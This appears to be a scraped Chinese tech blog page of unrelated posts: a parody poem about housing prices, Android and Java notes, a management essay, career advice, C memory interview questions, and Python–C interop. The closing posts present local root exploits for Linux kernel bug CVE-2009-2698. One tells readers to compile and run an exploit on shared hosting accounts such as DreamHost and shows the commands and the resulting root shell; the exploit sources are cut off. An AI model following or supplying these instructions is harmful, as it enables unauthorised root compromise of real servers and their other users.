沁园春《房》
神州大地,
万人蜗居,亿人盼房。
望北京上海,高楼大厦。
售楼中心,房奴滔滔。
祖孙三代,倾尽所有,欲与房价试比高。
须钞票,
清储蓄贷款,分外心焦。
楼价如此虚高,
逼无数白领竞折腰。
昔秦皇汉武,闻所未闻;
唐宗宋祖,紧捏钱包。
一代天骄,成吉思汗,只好蜗居蒙古包。
俱往矣,
数天价楼盘,还看今朝!
If you enjoyed this post, make sure you subscribe to my RSS feed!
神州大地,
万人蜗居,亿人盼房。
望北京上海,高楼大厦。
售楼中心,房奴滔滔。
祖孙三代,倾尽所有,欲与房价试比高。
须钞票,
清储蓄贷款,分外心焦。
楼价如此虚高,
逼无数白领竞折腰。
昔秦皇汉武,闻所未闻;
唐宗宋祖,紧捏钱包。
一代天骄,成吉思汗,只好蜗居蒙古包。
俱往矣,
数天价楼盘,还看今朝!
If you enjoyed this post, make sure you subscribe to my RSS feed!
本方法适用于Android SDK 2.1环境下的程序开发
2010-03-24
安装JDK
• 在java.sun.com下载JDK并安装
• 在“系统属性”的“高级”选项卡中点击“环境变量”,然后添加如下系统环境变量:
1. 在PATH环境变量后追加 JDK安装路径中的bin路径,本机为
C:\Program Files\Java\jdk1.6.0_18\bin
2. 新建CLASSPATH环境变量或在CLASSPATH环境变量后追加JDK安装路径中的lib路径和demo路径,本机为
C:\Program Files\Java\jdk1.6.0_18\demo;C:\Program Files\Java\jdk1.6.0_18\lib
安装Eclipse
• 在eclipse.org下载Eclipse IDE for Java Developers的Windows 32bit版本
• 下载完成后解压即可使用
安装Android SDK OR 离线安装
• 在Android Developers下载android-sdk_r05-windows.zip,下载完成后解压到任意路径
• 运行SDK Setup.exe,点击Available Packages,如果没有出现可安装的包请点击Settings,选中Misc中的”Force https://…”这项,再点击Available Packages
• [...]
在Oracle收购Sun Microsystems之后,Java之父James Gosling首度在公开场合露面,他一如既往保持着对Java的高度关注,并表示Java在Oracle的掌管下令人放心,随后他还透露了Java的发展方向。
Gosling是在TheServerSide Java Symposium上发表这份公开说明的,当时他的报告主题是Java Today and Tomorrow。他表示目睹了Oracle掌舵Java的方向之后,他深受鼓舞,Java的未来不需要担忧,关于Java的运营以及其技术的发展仍在向着有利的方向继续。
Gosling还公布了一份最新的Java报告,比如JRE (Java Runtime Environment)的每周下载量为1500万;共有100亿个Java-enabled的应用;10亿个Java-enabled的桌面;一亿个Java-enabled的TV设备;26亿个Java-enabled的移动设备;55亿个Java智能卡以及超过650万名Java开发者。
尽管目前大家看到的大多是Oracle在企业端Java的努力,但Gosling表示,Oracle同样也在致力于Java在桌面端、嵌入式、移动领域、高性能计算机及其他系统方面的发展。他说,所有这一切的原则是网络,网络将这些应用和功能链接。
谈到企业端Java,Gosling表示Java EE 6 (Java Platform, Enterprise Edition 6)将是下一代企业软件的基础, Java社区及许多开发者在2009年11月促使了Java EE 6 specification的认可,并发布和升级了一些Java API,Gosling对此表示感谢。
Gosling表示,Java EE 6以模块化为中心,引入了profiles的概念,但是有两个profiles,一个是full profile,另一个是Web profile。Web profile是第一个被定义的Java EE profile,对于现代Web应用开发它是一个功能全面的中型堆栈。
Gosling还提到了Java EE 6 specification中新增的依赖注入(dependency injection)特性。依赖注入可以允许你在代码中注入依赖,你将可以使用JDK 5 [Java Development Kit 5]中的注释特性来析出模板代码[boilerplate],从而EJB [Enterprise JavaBeans]的麻烦一扫而光。有趣的是,就在几年前这些问题还是Java社区内争论的焦点呢。
同时,Gosling宣布了GlassFish应用服务器的升级新版本为Version 3,它也是Java EE 6的参考实现(reference implementation)。GlassFish是全球最流行的下载型应用服务器,每个月的下载量为100万。
另外,Gosling表示Oracle也在积极推进NetBeans IDE,使它积极运用到企业端、移动领域和桌面端开发。
Java很棒的一点是他是一个two-level specification,既是Java语言,同时它的魔力在于VM [virtual machine]以及它可以支持包括Scala, Ruby, Groovy, Python, PHP, JavaScript, JavaFX在内的上百种其他语言。
展望Java语言接下来的五到十年,Gosling表示开发者应当寻求稳定的、逐渐增强的语言,因为这样的语言能够促进开发者的进步。
Sun曾在2009年的时候高调宣布了Java [...]
作者:张亚勤
[编者按]张亚勤以高层管理者的视角,用五个方程式构建了一个适合高科技人才学习、工作和成长的系统。对于普通开发者来说,这些公式同样适用,因为每个人自成一个系统,所以五个公式又可以变形为个人意义的:创新思维、善于规划、积极尝试、交流协作、开阔视野等。本文转载自《变革中的思索》(作者:张亚勤,2009年12月出版),感谢北京博文视点资讯有限公司的支持。
三年前, 在我担任微软亚洲研究院院长期间, 我曾总结出五条定律来描述IT企业管理和文化的理想状态。今天,当我带着新的思考与使命来看时,发现这些定律仍在代表着微软中国研发集团管理与文化的精髓,只是有了更新的内涵。
1. IT=IQ(Talents)+IP(Intellectual Properties)
吸引和培养第一流的人才,给他们架设一个足以充分发挥其才能的空间,并保护其智慧成果。
这条定律在之前的文章中我已谈过。大体上,IT=IQ+IP,这条定律展示了微软中国研发集团在两个层面的努力。一是为员工构建一个充满引力的创新磁场,让他们同才华横溢的同事们一道,在一个充满机遇与激励的环境下分享彼此的灵感和激情。奋发、进取、和谐、舒适的空间,将淋漓尽致地释放出每个人的潜能,使他们感觉到“英雄自有用武之地”。二是创造机会,让他们有机会参与到核心技术和产品的研发中,激扬其智慧。未来,微软中国研发集团将不断输入资金、领袖及人才,输出一项项对微软公司、对中国用户、对全球IT产业影响巨大的创新成果。
2. E=MC2
吸纳一大批有卓越潜质的人才(M),同时缔造一个过程(C2)——一个完全释放人才潜质的过程。在此过程中,先进的管理方式、富于感染力的企业文化将在个人、群体之间产生一系列正面的连锁反应,从而最大程度地激发出微软中国研发集团的动能(E)。
磁场理论可以解释为何天才的周围很少有庸人——优秀的人物总是像强磁场一样时刻吸引着与他们志同道合的英才。经过多年的积累,当前研发集团形成了金字塔型的人才结构。位于金字塔顶端的员工约占20%,他们大多在微软总部或其他跨国公司的研发机构从事过多年的技术和产品创新,能力超凡,经验丰厚,甚至因成就卓越而享誉国际,形成了人才的品牌效应。这不仅是简单的“志向”上的吸引,更是职业生涯的加速器。在其引导下,新员工将很快成长为谙熟大型软件研发流程的“高手”。
对一个快速成长的研发组织,人才间的“惺惺相惜”固然是吸引和培养人才的渠道,但系统的“360度培养战略”更加重要。在这方面,微软中国研发集团投入了巨大的资源与精力,希望让每个员工在这里都能最大限度地发挥自己的潜能。目前集团内部正在进行的培训项目有100多项,涵盖研究与开发的各个领域,其中我们特地从总部引进了“卓越软件工程”部门(Engineering Excellence Group),通过丰富的培训项目提高我们工程师的实践技能,提升我们工程进展的效率和产品开发的质量。我们正在为每一个职位建立职业发展模型(Career Stage Profile),帮助我们的每一个员工在不同的阶段制定和实施职业发展规划。而名为“Maco Polo”的轮岗计划,则是邀请雷德蒙德总部的资深技术专家来中国工作一段时间,“传道、授业、解惑”。此外,我们还有面向每个员工的“Mentorship”制度,通过经验丰富的员工来担任“导师”,为我们培养了一批又一批的后起之秀,这对我们未来的成功至关重要。
此外,还要为人才提供潜能爆发的环境、过程及必要的“刺激”。微软中国研发集团内开放、自由、平等的氛围,是一个能让研发人员安心去做“可以记一辈子的大事”的地方。同时,在集团各机构工作也需时刻面对压力和挑战,因为团队之间已形成了你追我赶、不甘人后的进取氛围。
3. ΔV • ΔP≥α
鼓励创新,允许失败。创新而不因循。
“粒子的动量与位置这两个变量的乘积大于某个常数”——海森堡测不准原理是量子力学中最重要的理论之一。微软中国研发集团将“测不准理论”引入到管理和文化中。ΔV和ΔP两个变量分别代表研发集团项目目标的准确度和风险度,所得出的乘积便是机构或团队发展的速度。
在确定发展目标和评估研究课题时,微软中国研发集团旗下不同职能的机构就会根据其自身的业务特点而在发展速度与风险度之间权衡一个最佳点。比如在研究院,我们强调“鼓励创新、允许失败”。选择课题时,我们鼓励员工去开掘那种难度极大、风险莫测,但可能给公司、给用户带来巨大利益的项目,因为投入大、风险大,成功后的影响也大。而对于产品开发部门,则更倾向于风险相对较小的项目。当然,无论是企业确定发展方向,还是研究机构评估技术课题,都应该把握一些基本原则,即确保项目是有用的、一流的、主流的、相关的。
微软中国研发集团希望旗下各机构能够在一种“创新而不因循”的机制之下不断健康发展,创造全新的技术和产品成果,最终孵化出深刻影响公司未来及全球用户体验的产品,向全世界展现中国的创新智慧。
4. 1+1≥3
有关企业的内部交流及合作,我认为,只有在1+1≥3(或者说“多赢”)的前提下,才是有价值和有必要的。
微软中国研发集团是由本土高校培养的中国精英、海外归国华人学者及外籍技术专家构成的“多国军团”,而在创新实践时,研发集团员工又与微软雷德蒙德总部产品部的同事以及分布于其他国家的微软员工沟通协作,造就了研发集团独有的内部合作环境。我们强调“融中外、弃劣扬优”,让不同文化背景下成长起来的微软中国研发集团员工都能够互信无疑、合作无间。
另一方面,微软中国研发集团的诞生,标志着微软在华研发资源的完全整合。随着一个由基础研究、技术和产品孵化、产品开发和战略合作所组成的、前所未有的完整研发创新产业链的形成,今后,集团旗下各职能机构之间的合作必然会越来越多样、越来越广泛、越来越深入。在这种趋势下,“1+1≥3”理所当然地成为了合作的一大必要前提。我们希望微软中国研发集团旗下各机构在将创新灵感转化为技术成果、将技术成果转化为实际产品的整个流程中能够坚持“多赢”(对合作各方、对用户、对产业)的理念,从而使每一次合作都可释放出最大化的能量、创造出多元化的价值。
5. △S>0(封闭系统,自发过程)
我们希望构建一个开放的、共赢的IT产业生态圈(Ecosystem),和全球范围内(特别是中国)的学术界、企业界合作伙伴协力创新,共同分享资源、经验与成果。
1850年,德国物理学家鲁道夫•克劳修斯(Rudolf Clausius)提出“热力学第二定律”的定性表述;15年后,他又首次引入了“熵”的概念。作为19世纪最伟大的科学发现之一,热力学第二定律说明:随着时间无限推移,封闭系统中的状态逐渐倾向于无秩序,熵趋于无限大,有规律而可用的能量趋于无限小,最终归于熵寂死的混沌。
IT企业也是这样。在全球技术共享化的今天,任何可能导致闭塞和封锁的举动都会让企业或机构无法辨识未来的机遇或危机,延缓前进的步伐。“零和”的自私心态只能让一个企业走向没落。因此,微软中国研发集团致力于构建一个开放的IT产业生态圈,令我们的研发人员总能在第一时间了解到其所在领域内的最新创新成果,开拓眼界、增强学术素养,以加速他们的成长。另一方面,微软中国研发集团旗下各机构还将积极与中国、亚太乃至国际范围内的IT产业同仁协力创新,共同分享资源、经验与成果。例如,向有需要的国内外企业提供技术授权;帮助合作伙伴寻找商业机遇,向他们移植微软的创新流程,培训富于研发经验、谙熟流程管理的员工等。
合作共赢是微软中国研发集团的重要发展战略。我们成立了战略合作部,通过技术授权、软件外包、人才培养等方式,把与中国信息产业的合作进一步向纵深推广。此外,在业务重点上,除移动与嵌入式技术、数字娱乐、互联网服务及服务器与工具四大领域之外,我们更把面向中国这一新兴市场的产品开发作为发展方向,希望能够通过与中国信息产业的紧密合作,真正的“在中国创造,为中国创造”。
IT产业的技术更新速度极其迅速,对于微软中国研发集团,秉持共赢思路、追求与所在区域产业的共同繁荣也就意味着更多的生机、更多的可能,无论对管理、经营还是文化来说都是一样的。
在微软中国研发集团独有的管理与文化氛围之中,我们正与每位员工一道,共同为早日实现成为“微软全球技术研究和产品开发的核心研发基地”的目标而携手努力。
作者简介:
张亚勤, 现任微软公司全球资深副总裁、微软( 中国) 研发集团主席、微软( 中国) 有限公司董事长, 负责微软公司在亚太地区的研发、技术战略和业务。
(本文来自《程序员》杂志2010年1月刊)
If you enjoyed this post, make sure you subscribe to my RSS feed!
做技术已经有二十多年,每天忙忙碌碌,开始还对自己的职业生涯有些思考,时间一长,习惯了,再也没想过。前几天在办公楼上认识了一个朋友,他在某知名IT 招聘网站做专业职业顾问,聊天的时候,他告诉我的这些话,让我顿时清醒了许多,现在我决定给自己这么多年的工作方式和思维模式做个改变,应该还不算晚。
不管你是学习技术为了找工作还是创业,你都要对技术本身有个清醒的认识,在中国还仅仅的停留在把软件技术人才当作人才机器来用的尴尬境地。
一。不要以为技术可以换来稳定的生活和高的薪水待遇,更不要认为那些从事市场开发,跑腿的人没有前途。
中国有相当大的一部分软件公司,他们的软件开发团队都小的可怜,甚至只有1-3个人,连一个项目小组都算不上,而这样的团队却要承担一个软件公司所有的软件开发任务,更可怕的是,会让你接触的人际关系非常单一,除了有限的技术人员之外你几乎见不到做其他行业工作和职位的人,你的朋友圈子小且单一.
比之于我们,那些从事售前和市场开发的朋友,却有比我们多的多的工作之外的时间,甚至他们的工作有时候是可以兼顾生活的,坦率的说更有发财和发展的机会,只要他们跟我们一样勤奋。
二。不要认为如果做到技术最强,就可以成为100%受尊重的人。
如果你幸运的能够听到市场人员的谈话,或是领导们的谈话,你会隐约觉得他们都在把技术人员当作编码的机器来看,你的价值并没有你想象的那么重要。而在你所在的团队内部,你可能正在为一个技术问题的讨论再跟同事搞内耗,因为他不服你,你也不服他,你们都认为自己的对,其实你们两个都对,而争论的目的就是为了在关键场合证明一下自己比对方技术好,比对方强。(在一个项目开发中,没有人愿意长期听别人的,总想换个位置领导别人。)
三。更不要认为,如果我技术够好,我就自己创业,自己有创业的资本,因为自己是搞技术的。
如果你那样认为,真的是大错特错了,你可以做个调查在非技术人群中,没有几个人知道C#与 JAVA的,更谈不上来欣赏你的技术是好还是不好。一句话,技术仅仅是一个工具,善于运用这个工具为别人干活的人,却往往不太擅长用这个工具来为自己创业,因为这是两个概念,训练的技能也是完全不同的。
创业的时候,你的人际关系,你处理人际关系的能力,你对社会潜规则的认识,还有你明白不明白别人的心,你会不会说让人喜欢的话,还有你对自己所提供的服务的策划和推销等等,这么多的问题都是客观存在着的。
[总之]
技术仅仅是一个工具,是你在人生一个阶段生存的工具,你可以一辈子喜欢它,但最好不要一辈子靠它生存。
转自:http://blog.csdn.net/teamlet/archive/2010/03/24/5410991.aspx
If you enjoyed this post, make sure you subscribe to my RSS feed!
void GetMemory(char *p)
{
p=(char*)malloc(100);
}
void Test(void)
{
char *str = NULL;
GetMemory(str);
strcpy(str,”helloworld”);
printf(str);
}
请问运行Test函数会有什么样的结果?
答:程序崩溃。因为GetMemory并不能传递动态内存,Test函数中的str一直都是NULL。strcpy(str,”helloworld”);将使程序崩溃。
char *GetMemory(void)
{
char p[]=”helloworld”;
return p;
}
void Test(void)
{
char *str = NULL;
str = GetMemory();
printf(str);
}
请问运行Test函数会有什么样的结果?
答:可能是乱码。因为GetMemory返回的是指向“栈内存”的指针,该指针的地址不是NULL,但其原先的内容已经被清除,新内容不可知。
void GetMemory2(char **p, int num)
{
*p = (char*)malloc(num);
}
void Test(void)
{
char *str = NULL;
GetMemory(&str, 100);
strcpy(str, “hello”);
printf(str);
}
请问运行Test函数会有什么样的结果?
答:(1)能够输出hello(2)内存泄漏
以上都是关于内存的问题,我想问第一个为什么说GetMemory不能传递动态内存,而第三个 GetMemory2(char **p, int num)却可以;还有第二个说GetMemory返回的是指向“栈内存”的指针,该指针的地址不是NULL,总之我不懂,最好懂得人能一句一句的解释。
If you enjoyed this post, make sure you subscribe to my RSS feed!
asmlinkage long sys_nice(int increment)
“asmlinkage” 是在 i386 system call 实作中相当重要的一个 gcc 标签(tag)。
当 system call handler 要呼叫相对应的 system call routine 时,便将一般用途暂存器的值 push 到 stack 里,因此 system call routine 就要由 stack 来读取 system call handler 传递的参数。这就是 asmlinkage 标签的用意。
system call handler 是 assembly code,system call routine(例如:sys_nice)是 C code,当 assembly code 呼叫 C function,并且是以 stack 方式传参数(parameter)时,在 C [...]
背景
项目的 自动化测试中已经使用了基于Python 脚本的框架,自动化过程中最关键的问题就是如何实现桩模块。运用 Python 强大的功能,实现任何桩模块都是可能的,但是是否必须完全使用 Python 实现模块逻辑,成本是一个决定性因素。在桩模块逻辑简单的情况下,使用 Python 模拟模块逻辑不但使自动化测试的结构清晰,也具有更好的灵活性,但是如果桩模块逻辑复杂,实现起来可能要耗费很大的成本,也容易由于桩模块逻辑与实际不符导致测试结果不可信。在这种情况下,如果能够借用 RD 开发的某些代码段 / 库,将会对测试自动化带来很多效益。
另外,在Python 中调用 C/C++ 代码的方法也可能应用于 C/C++ 库的测试中,这种测试方法的可行性还有待研究。
以下总结出几种在Python 中调用 C/C++ 代码的方法
使用ctypes 模块调用 C 动态库
从Python2.5 开始, Python 开始提供 ctypes 模块来提供对 C 语言编译的动态库文件的调用。注意, 这里特指C 的动态库 ,用C++ 编译的动态库 ctypes 虽然能够加载,但调用时的函数名已经由于 C++ 的重载特性被加以修改,难以调用。 使用 ctypes 调用 C 动态库的好处在于不用进行额外的开发,可以直接使用编译好的动态库。 ctypes 提供了完整的 C 类型封装,也支持自定义类型,大大减少在调用过程中的工作量。 ctypes 的使用很简单,只需熟悉 python 封装与 C [...]
/***********************************************************
* hoagie_udp_sendmsg.c
* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
*
* udp_sendmsg bug exploit via (*output) callback function
* used in dst_entry / rtable
*
* Bug reported by Tavis Ormandy and Julien Tinnes
* of the Google Security Team
*
* Tested with Debian Etch (r0)
*
* $ cat [...]
前段时间,爆出一个linux用户提升普通用户权限到root权限的漏洞,很多小白开始试了,进ssh,然后./a,咋什么都没有呢?殊不知,哪有这么简单,还是需要代码的。。本文的末尾提供了代码(代码版权归原作者所有:p0c73n1(at)gmail(dot)com),也提供了编译后的执行程序。gcc版本是gcc (GCC) 4.1.1 20070105。还要注意,此漏洞需要在Linux kernel 2.6 < 2.6.19 (32bit)下才能测试通过,目前还没有好的补救办法。
国内极少数有主机商提供ssh登入权限,所以,机会不多,但是国外有很多都提供,例如DreamHost等等。。如果空间没有使用gcc的权限,可以找对应版本的gcc编译之后,ftp上去亦可。。编译命令是: gcc -o t t.c,然后执行/path/to/t 即可。。如:
[leekooqi@icnote ~]$ gcc -o t t.c
[leekooqi@icnote ~]$ ./t
sh-3.1# id
uid=0(root) gid=0(root) groups=512(leekooqi)
sh-3.1#
你会发现,你已经拥有root权限了,可以为所欲为了。。但是,记住,不要干坏事!!
原文件如下:
1./*
2.**
3.** 0×82-CVE-2009-2698
4.** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
5.**
6.** Tested White Box 4(2.6.9-5.ELsmp),
7.** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
8.** Fedora Core [...]
, 下一页